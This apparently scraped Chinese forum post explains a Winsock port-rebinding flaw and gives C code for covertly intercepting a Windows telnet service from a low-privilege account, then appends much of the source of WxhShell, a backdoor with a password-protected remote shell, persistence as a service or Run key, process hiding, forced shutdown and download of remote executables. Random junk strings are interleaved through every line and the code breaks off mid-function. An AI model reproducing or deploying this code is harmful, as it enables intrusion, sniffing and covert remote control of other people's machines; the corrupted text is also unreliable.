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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: % 5BSXAc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h[ C XH"  
dp3TJZ+U  
  saddr.sin_family = AF_INET; M2.*]AL  
6O@Lx ]t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *6v5JH&K  
cc"<H}g>`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aQso<oK  
~fO#En  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wOH 3[SKo  
U/7jK40  
  这意味着什么?意味着可以进行如下的攻击: 5+)_d%v=6!  
za8+=?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T$V8 n_;  
lDs C>L-F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CT|H1Ry2T  
rj<-sfs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {|e7^_ke  
nH[>Sff$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BJsN~` =r  
pU u')y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *mN8Qd  
\,`iu=YZv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >EgMtZ88.<  
\<b42\a}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U.|0y=  
>SD?MW 1E  
  #include Ej`G(  
  #include >lugHF$G  
  #include &2W`dEv]?  
  #include    W#9LK Jj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D,s[{RW+q  
  int main() j9= )^?  
  { ay28%[Q b4  
  WORD wVersionRequested; o1Wf#Zq   
  DWORD ret; jgw+c3^R_  
  WSADATA wsaData; az Oib=3fz  
  BOOL val; ,9 .NMFn  
  SOCKADDR_IN saddr; p vu% p8  
  SOCKADDR_IN scaddr; "04:1J`  
  int err; 1sfs!b&E  
  SOCKET s; =Flr05}m  
  SOCKET sc; #YLI"/Kn  
  int caddsize; QFEc?sEe  
  HANDLE mt; SxM5'KQ  
  DWORD tid;   PMiG:bM  
  wVersionRequested = MAKEWORD( 2, 2 ); FsfP^a  
  err = WSAStartup( wVersionRequested, &wsaData ); &F +hh{  
  if ( err != 0 ) { 8;Df/ %  
  printf("error!WSAStartup failed!\n"); vn96o] n  
  return -1; et6@);F  
  } ~G~:R  
  saddr.sin_family = AF_INET; diF2:80o  
   QWK\6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x]:B3_qR  
)`m/vYKWL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U9q6m3#$  
  saddr.sin_port = htons(23); <t.  w(?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Eb\SK"8  
  { Hp3T2|uL  
  printf("error!socket failed!\n"); HQ3kxOT  
  return -1; %>:d5"&Lbs  
  } {+|Em(M  
  val = TRUE; EA!I& mBq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .^uYr^( |[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ixo?o]Xb`  
  { eHI7= [h  
  printf("error!setsockopt failed!\n"); <ApzcyC  
  return -1; 0'^zIL#.  
  } 62J -)~_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LgoUD*MbQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vu1X@@z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [+4--#&{  
\g\,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o2NU~Ub  
  { [d,")Ng  
  ret=GetLastError(); LXcH<)  
  printf("error!bind failed!\n"); O8WLulo  
  return -1; R9V v*F]m@  
  } /s^O M`5  
  listen(s,2); t0gLz J  
  while(1) _l!TcH+e  
  { !3#*hL1fy  
  caddsize = sizeof(scaddr); 0p' =Vel{}  
  //接受连接请求 j`kw2(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ue)8g#  
  if(sc!=INVALID_SOCKET) [1gWc`#  
  { gdyP,zMD7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,Q8)r0c  
  if(mt==NULL) !&OybjQ  
  { Z2u5n`K  
  printf("Thread Creat Failed!\n"); _,;|,  
  break; y9L:2f\  
  } Z &R{jQ,  
  } X"qC&oZmf  
  CloseHandle(mt); _4jRUsvjY  
  } AHre#$`97  
  closesocket(s); -I#1xJU  
  WSACleanup(); I`e |[k2  
  return 0; ~&Gw[Nd1  
  }   5w+X   
  DWORD WINAPI ClientThread(LPVOID lpParam) ^s&1,  
  { 71ctjU`U2  
  SOCKET ss = (SOCKET)lpParam; p%v+\T2r  
  SOCKET sc; OJ:iQ  
  unsigned char buf[4096]; Pe_iA_  
  SOCKADDR_IN saddr; v&GBu  
  long num; Zn`vL52_  
  DWORD val; `_{^&W WS  
  DWORD ret; ]"< ` ^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cR+9^DzA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wv8WqYV  
  saddr.sin_family = AF_INET; ie!ik  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i|5K4Puu  
  saddr.sin_port = htons(23); cDS6RO?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =gb.%a{R  
  { _f8<t=R  
  printf("error!socket failed!\n"); 4EiEE{9V  
  return -1; PKhH0O\_U  
  } =sk]/64h``  
  val = 100; \)?[1b&[_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  d!%:Ok  
  { W^Jh'^E  
  ret = GetLastError(); pbe" w=<  
  return -1; ]$'w8<D>t,  
  } Ub8|x]ix  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }-:s9Lt  
  { "+2Hde1  
  ret = GetLastError(); h9,ui^#d$  
  return -1; ! `yg bI.  
  } 4  |E`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +IiL(\ew  
  { x>^r%<WbX  
  printf("error!socket connect failed!\n"); BK>uJv-qU  
  closesocket(sc); 0^Vc,\P?  
  closesocket(ss); vt3yCS  
  return -1; AKVll  
  } D_%y&p?<Ls  
  while(1) !biq7f%6#  
  { \Ze"Hv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gOpGwpYZ,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mJaWzR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ldnw1xy  
  num = recv(ss,buf,4096,0); |@]`" k  
  if(num>0) `CP}1W>  
  send(sc,buf,num,0); GVT+c@Gx  
  else if(num==0) &}P{w  
  break; HF9d~7R  
  num = recv(sc,buf,4096,0); $= /.oh  
  if(num>0) lS.*/u*5  
  send(ss,buf,num,0); Nj Ng=q  
  else if(num==0) ^ 1rw\Zp  
  break; tl|Qw";I  
  } Yl[GO}M  
  closesocket(ss);  }xcEWC\  
  closesocket(sc); E"D+CD0  
  return 0 ; !JtVp&?  
  } F2yc&mXyk  
A+Nf]([  
d^"<Tz!  
========================================================== /xmUu0H$R  
SG1fu<Q6J  
下边附上一个代码,,WXhSHELL u%FG% j?C  
_Y '+E  
========================================================== c0v;r4Jo#j  
yjUSM}$  
#include "stdafx.h" ">QNiR!  
E 9_aNYD  
#include <stdio.h> d(RSn|[0  
#include <string.h> './j<2|;U  
#include <windows.h> |EuWzhNAO  
#include <winsock2.h> x35(i  
#include <winsvc.h> R9X* R3nB  
#include <urlmon.h> dALJlRo"  
"V!y"yQ  
#pragma comment (lib, "Ws2_32.lib") L4I1nl  
#pragma comment (lib, "urlmon.lib") T&6W>VQ|[>  
h$)},% e  
#define MAX_USER   100 // 最大客户端连接数 1df }gG  
#define BUF_SOCK   200 // sock buffer &KC^Vn3Nj  
#define KEY_BUFF   255 // 输入 buffer 8YJ8_$Z  
WyH2` xxX  
#define REBOOT     0   // 重启 V3O<l}ak  
#define SHUTDOWN   1   // 关机 A+d&aE }3V  
`RUOZ@r  
#define DEF_PORT   5000 // 监听端口 o*7`r~  
)En*5-1  
#define REG_LEN     16   // 注册表键长度 E"7 iU  
#define SVC_LEN     80   // NT服务名长度 j_ dCy  
%jKbRiz1u  
// 从dll定义API oTj9/r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a=*&OW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ml$"C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |IL..C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i9?$BZQ[R  
.K>r ao'  
// wxhshell配置信息 OM,-:H,  
struct WSCFG { i;!#:JX  
  int ws_port;         // 监听端口 )0Av:eF-+  
  char ws_passstr[REG_LEN]; // 口令 EAYx+zI  
  int ws_autoins;       // 安装标记, 1=yes 0=no C<Q;3w`#1j  
  char ws_regname[REG_LEN]; // 注册表键名 )N!-g47o%#  
  char ws_svcname[REG_LEN]; // 服务名 [5$=G@ zf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *I 7$\0Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :=u Ku'~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _h1n]@ d5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q%6Lc.i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yhu 6QyRV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ).HYW _Yih  
0#f;/ c0i  
}; ni$7)YcF  
<t[WHDO`  
// default Wxhshell configuration cl s-x@ Kd  
struct WSCFG wscfg={DEF_PORT, 6@_Vg~=S  
    "xuhuanlingzhe", QF 2Eg  
    1, H2oAek(  
    "Wxhshell", wmu#@Hf/[h  
    "Wxhshell", wIT0A-Por4  
            "WxhShell Service", |/B2Bm  
    "Wrsky Windows CmdShell Service", %j9'HtjEa  
    "Please Input Your Password: ", Bd8,~8  
  1, *gHGi(U(U  
  "http://www.wrsky.com/wxhshell.exe", 1RC(T{\x  
  "Wxhshell.exe" >% a^;gk(  
    }; ?ysC7 ((  
JA'C\  
// 消息定义模块 {1 fva^O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {%!.aQ,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D&KD5_Sw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XBi}hT  
char *msg_ws_ext="\n\rExit."; @ %LrpD  
char *msg_ws_end="\n\rQuit."; 'yG9Rt  
char *msg_ws_boot="\n\rReboot..."; F)x^AJi e  
char *msg_ws_poff="\n\rShutdown..."; 5[\mwUA  
char *msg_ws_down="\n\rSave to "; /$v0Rq9  
 'Q\I@s }  
char *msg_ws_err="\n\rErr!"; ~4YU  
char *msg_ws_ok="\n\rOK!"; 9Yg=4>#$  
#kD8U#  
char ExeFile[MAX_PATH]; JY4sB8  
int nUser = 0; tY=sl_  
HANDLE handles[MAX_USER]; f=%k9Y*)  
int OsIsNt; DpG|Kl|d  
FOz7W  
SERVICE_STATUS       serviceStatus; 0Q]@T@F.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |FK ##8  
$6~ J#;  
// 函数声明 4N&4TUIM  
int Install(void); E3X6-J|  
int Uninstall(void); 1p#O(o  
int DownloadFile(char *sURL, SOCKET wsh); Lyjt$i W%  
int Boot(int flag); 1+\ZLy!5:  
void HideProc(void); !F3Y7R  
int GetOsVer(void); d;GF<bz  
int Wxhshell(SOCKET wsl); s?h=%; T[  
void TalkWithClient(void *cs); UOTM>d1P  
int CmdShell(SOCKET sock); @k_xA-a  
int StartFromService(void); $GI2rzh  
int StartWxhshell(LPSTR lpCmdLine); &gdtI  
9H$$Og  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BJzNh>-#=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QH:PClW![  
.qBL.b_`  
// 数据结构和表定义 0<3)K[m~H  
SERVICE_TABLE_ENTRY DispatchTable[] = cB~D3a0Th  
{ d51.Tbt#%7  
{wscfg.ws_svcname, NTServiceMain}, &_mOw.  
{NULL, NULL} E yJWi<  
}; bB01aiUw@l  
/b3b0VfF  
// 自我安装 i"eUacBz/-  
int Install(void) GabY xYK  
{ F' eV%g  
  char svExeFile[MAX_PATH]; ,Jqi J?,4C  
  HKEY key; M<'AM4  
  strcpy(svExeFile,ExeFile); |etA2"r&  
,^]yU?eU  
// 如果是win9x系统,修改注册表设为自启动 fQZ,kl  
if(!OsIsNt) { AcF6p)@_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6y;R1z b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t[L0kF9en  
  RegCloseKey(key); \F_~?$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5i 56J1EC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @9yY`\"ed  
  RegCloseKey(key); TL%2?'G  
  return 0; .Sz<%d7XIQ  
    } N@Ie VF  
  } `/WX!4eR,  
} 6pyLb3[e  
else { +Usy  
AQCU\E  
// 如果是NT以上系统,安装为系统服务 mGf@J6wGz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fU@{!;|Pz  
if (schSCManager!=0) 'q+CL&D  
{ XYeuYLut  
  SC_HANDLE schService = CreateService @qC](5|TQ  
  ( *{}Y :  
  schSCManager, ?f9@  
  wscfg.ws_svcname, $@H]0<3,  
  wscfg.ws_svcdisp, e!+_U C  
  SERVICE_ALL_ACCESS, 4d\1W?i-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >5,nB<  
  SERVICE_AUTO_START, x  RV@ _  
  SERVICE_ERROR_NORMAL, gpo+-NnG  
  svExeFile, t)O8ON  
  NULL, EX]LH({?+L  
  NULL, \YV`M3O  
  NULL, "oZ$/ap\  
  NULL, Re`'dde=  
  NULL )FF3|dZ";K  
  ); ,U-aZ  
  if (schService!=0) ups] k?4  
  { @Yv+L)  
  CloseServiceHandle(schService); !N, Oe<  
  CloseServiceHandle(schSCManager); =Zg%& J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :$=r^LSH  
  strcat(svExeFile,wscfg.ws_svcname); h5vvizruy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y|NL #F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D7| =ev  
  RegCloseKey(key); ENmfbJ4d~  
  return 0; h x _,>\@  
    }  L=Pz0  
  } ?b}d"QsmU  
  CloseServiceHandle(schSCManager); p2(U'x c  
} :Adx7!6  
} QX1rnVzg0  
`i'72\(  
return 1; 9GH11B_A  
} {$dq7m(  
j,HUk,e^&  
// 自我卸载 \( S69@f  
int Uninstall(void) @raw8w\Zj+  
{  2s+ITPr  
  HKEY key; 'G6M:IXno  
9:JFG{M  
if(!OsIsNt) { I U Mt^z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I04GQql  
  RegDeleteValue(key,wscfg.ws_regname); s>pOfXIx  
  RegCloseKey(key); fV 6$YCf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eU[f6OGqC  
  RegDeleteValue(key,wscfg.ws_regname); _kgGz@/p  
  RegCloseKey(key); tA*hh"9  
  return 0; |^uU&O;.  
  } Ezvm5~<  
} 2+Y 8b::  
} u$3wdZ2&m  
else { F5*NK!U  
"*ot:;I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t *8k3"  
if (schSCManager!=0) Q|!}&=  
{ 5|4=uoA<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !I 7bxDzK$  
  if (schService!=0) nb -Je+  
  { ftL>oOz[  
  if(DeleteService(schService)!=0) { W7j-siWJ  
  CloseServiceHandle(schService); Oq7R^t`b  
  CloseServiceHandle(schSCManager); `|[" {j}^  
  return 0; rO_|_nV[  
  } ]m>N!Iu  
  CloseServiceHandle(schService); ZPM,ZGlu:  
  } |L@9qwF  
  CloseServiceHandle(schSCManager); gypE~@  
} ;yc|=I ^  
} oAMB}a;  
\z/_vzz4  
return 1; "Yk3K^`1T.  
} @YH<Hc  
;}=4z^^5  
// 从指定url下载文件 CdTyUl  
int DownloadFile(char *sURL, SOCKET wsh) LC!ZeW35  
{ R)%1GG4  
  HRESULT hr; Ws+Zmpk%  
char seps[]= "/"; ]>K02SVT:  
char *token; v(H CnC  
char *file; ;[)t*yAh  
char myURL[MAX_PATH]; ][ ,NNXrc&  
char myFILE[MAX_PATH]; |bHId!d  
a^9-9*  
strcpy(myURL,sURL); Qp~W|zi(  
  token=strtok(myURL,seps); ]^>#?yEA3  
  while(token!=NULL) ]^='aQ  
  { \F|L y >g  
    file=token; +2}aCoL\  
  token=strtok(NULL,seps); ?pT\Ft V  
  } R*C  
vd4}b>  
GetCurrentDirectory(MAX_PATH,myFILE); t`"]"Re  
strcat(myFILE, "\\"); m[@7!.0=  
strcat(myFILE, file); bt$+l[U^J  
  send(wsh,myFILE,strlen(myFILE),0); JG2)-x;9  
send(wsh,"...",3,0); lL*k!lNs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8gA:s`ofJ  
  if(hr==S_OK) C$Y pk\p  
return 0; VW7 ?{EL7  
else E&?z-,-o@  
return 1; yM3]<~m  
YWf w%p?n"  
} lC/4CPKtV  
x?ajTzMv  
// 系统电源模块 WSdTP$?  
int Boot(int flag) n9J.]+@J  
{ a;Nj'M~U  
  HANDLE hToken; %N"9'g>  
  TOKEN_PRIVILEGES tkp; _&/FO{F@m  
[*-DtbEk  
  if(OsIsNt) { 7p}.r J54  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fbbk;Rq.'3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hM!D6: t  
    tkp.PrivilegeCount = 1; 0 ]v:Ix  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZaCUc Px  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YpFh_Zr[  
if(flag==REBOOT) { pGZ I697  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ksp!xFk  
  return 0; WQ\H 2go  
} NqsIMCl  
else { ^&o38=70*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'RIlyH~Yf  
  return 0; 0Ey*ci^ue  
} LL~bq(b  
  } ! H)D@,@&  
  else { wvAXt*R  
if(flag==REBOOT) { Td&w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D`;Q?f C  
  return 0; 0Hz*L,Bh4  
} rPV\ F  
else { .Dw^'p>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #ii,GN~N  
  return 0; Qrt[MJ+#  
} \Rc7$bS2H  
} 7o$4ov;T  
M1Jnn4w*d  
return 1; ^-3R+U- S  
} %N!2 _uk5  
^O cM)Z6h  
// win9x进程隐藏模块 ';buS -|6  
void HideProc(void) ;c5Q"  
{ Xa._  
'1{#I/P;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lNSB "S  
  if ( hKernel != NULL ) gi;#?gps  
  { pZR KM<k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {1^9*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4_3 DQx9s  
    FreeLibrary(hKernel); _"8\k 7S*  
  } Ly?yW S-x  
;C8'7  
return; |BD]K0  
} n<;T BK  
Z6<vLc  
// 获取操作系统版本 SSANt?\Z<  
int GetOsVer(void) j|f$:j  
{ *yGOm i  
  OSVERSIONINFO winfo; ]XEkQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?@ ei_<A{  
  GetVersionEx(&winfo); |q?I(b4Q@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9?)r0`:#  
  return 1; `jR;RczC  
  else \*#9Ry^f  
  return 0; [{F8+a^  
} CCJ!;d;&87  
W! FmC$Kc  
// 客户端句柄模块 dB7E&"f  
int Wxhshell(SOCKET wsl) z<~gv"  
{ t@-:e^ v  
  SOCKET wsh; y: @[QhV  
  struct sockaddr_in client; #2c-@),  
  DWORD myID; n$ye:p>`-  
F kas*79  
  while(nUser<MAX_USER) K /h9x9^  
{ iulM8"P  
  int nSize=sizeof(client); 4 Yq|Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w U.K+4-k  
  if(wsh==INVALID_SOCKET) return 1; DoA4#+RU  
*ms?UFV[r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  m?hC!n>  
if(handles[nUser]==0) ,R$n I*mf_  
  closesocket(wsh); z;UkK  
else RRy3N )HR  
  nUser++; k3se<NL[  
  } 8"+Re [  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :g/HN9  
"V:B-q  
  return 0; s%`o  
} = wNul"  
6/9 A'!4C  
// 关闭 socket D .| h0gU  
void CloseIt(SOCKET wsh) w5|az6wZB!  
{ %(b`i C9  
closesocket(wsh); < 2w@5qL  
nUser--; |{HtY  
ExitThread(0); s,ZJ?[/  
} @#ih;F  
5B| iBS l  
// 客户端请求句柄 \}t(g}7T  
void TalkWithClient(void *cs) X""<5s'0  
{ I'G$:GX  
(`gqLPx[  
  SOCKET wsh=(SOCKET)cs; 2#5SI  
  char pwd[SVC_LEN]; <pRb#G"  
  char cmd[KEY_BUFF]; @Y*ONnl  
char chr[1]; a;m-Vu!  
int i,j; D52ELr7  
3]0ETcT  
  while (nUser < MAX_USER) { {$4fRxj  
ZVEq{x1Zc  
if(wscfg.ws_passstr) { :<Y,^V(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); axnkuP(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R1/ )Yy  
  //ZeroMemory(pwd,KEY_BUFF); %v:9_nwO)  
      i=0; ge?1ez2  
  while(i<SVC_LEN) { w<N [K>  
"#d}S)GlXM  
  // 设置超时 # 9Z];<g  
  fd_set FdRead; RvvK`}/6  
  struct timeval TimeOut; f$9V_j-K+  
  FD_ZERO(&FdRead); 8$-(%  
  FD_SET(wsh,&FdRead); D#508{)  
  TimeOut.tv_sec=8; W1M<6T.{7  
  TimeOut.tv_usec=0; FkR9-X<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \kZxys!4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i1ur>4Ns  
2Q,e1' =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > y"V%  
  pwd=chr[0]; 5Y)*-JY1g  
  if(chr[0]==0xd || chr[0]==0xa) { & ,2XrXiFu  
  pwd=0; I0sd%'Ht?  
  break; 0RN]_z$;H  
  } Wcl@ H @  
  i++; Y~hBVz2g  
    } ])egke\!  
E(*RtOC<W  
  // 如果是非法用户,关闭 socket xq- R5(k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]6Kx0mW  
} A#RA;Dt:  
u)y6$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W'eF | hu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4*d$o=wa  
bEyZRG  
while(1) { M%5qx,JQY  
AK%`EsI^  
  ZeroMemory(cmd,KEY_BUFF); puA~}6C  
i[sHPEml(5  
      // 自动支持客户端 telnet标准   $3zs?Fd`  
  j=0; }p$>V,u  
  while(j<KEY_BUFF) { lt`(R*B%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YvL5>;  
  cmd[j]=chr[0]; D/^yAfI  
  if(chr[0]==0xa || chr[0]==0xd) { aFGEHZJQ  
  cmd[j]=0; r) ;U zd  
  break; ET;YAa*  
  } u6Fm qK]Dj  
  j++; ozwPtF5  
    }  0eUK'   
=7wI/5iN  
  // 下载文件 -b"mx"'?  
  if(strstr(cmd,"http://")) { q@8Jc[\d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q">lP (t  
  if(DownloadFile(cmd,wsh)) N}Q%y(O^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*$$E  
  else ?-%Q[W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "c` $U]M%  
  } `dekaRo  
  else { Ndq/n21j  
#{KYsDtvx  
    switch(cmd[0]) { kk#%x#L[  
  yIy'"BCxM  
  // 帮助 E7X6Shng  
  case '?': { -d5b,leC^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W|h~&O  
    break; /}A"F[5  
  } dZ}gf}.v  
  // 安装 }#):ZPTs  
  case 'i': { d1]CN6 7{G  
    if(Install()) :0N} K}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55Z)*JMv  
    else `t[b0; 'OH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q_iPWmf p*  
    break; mbT4K8<^  
    } z5.Uv/n\1  
  // 卸载 >}<1  
  case 'r': { ?-M?{De   
    if(Uninstall()) `%S 35x9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D2}N6i  
    else }@6Tcn1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EZs"?A  
    break; x -;tV=E}  
    } U<<@(d%T  
  // 显示 wxhshell 所在路径 xf2|9Tqt  
  case 'p': { .cks ){\  
    char svExeFile[MAX_PATH]; {:=sCY!  
    strcpy(svExeFile,"\n\r"); 7)Cn 4{B6  
      strcat(svExeFile,ExeFile); EKu%I~eM  
        send(wsh,svExeFile,strlen(svExeFile),0); /3Y\s&y  
    break; T)c<tIr6  
    } (8"advc6  
  // 重启 B^;"<2b*  
  case 'b': { SG$V%z"e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  zSd!n  
    if(Boot(REBOOT)) trx y3k;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ T.+:U@S  
    else { JjMa   
    closesocket(wsh); &&PXWR!%]  
    ExitThread(0); Rf4}((y7Y\  
    } i0}f@pCB?X  
    break; l+nT$IPF  
    } NH aY&\  
  // 关机 B6kc9XG  
  case 'd': { =;Q:z^S  
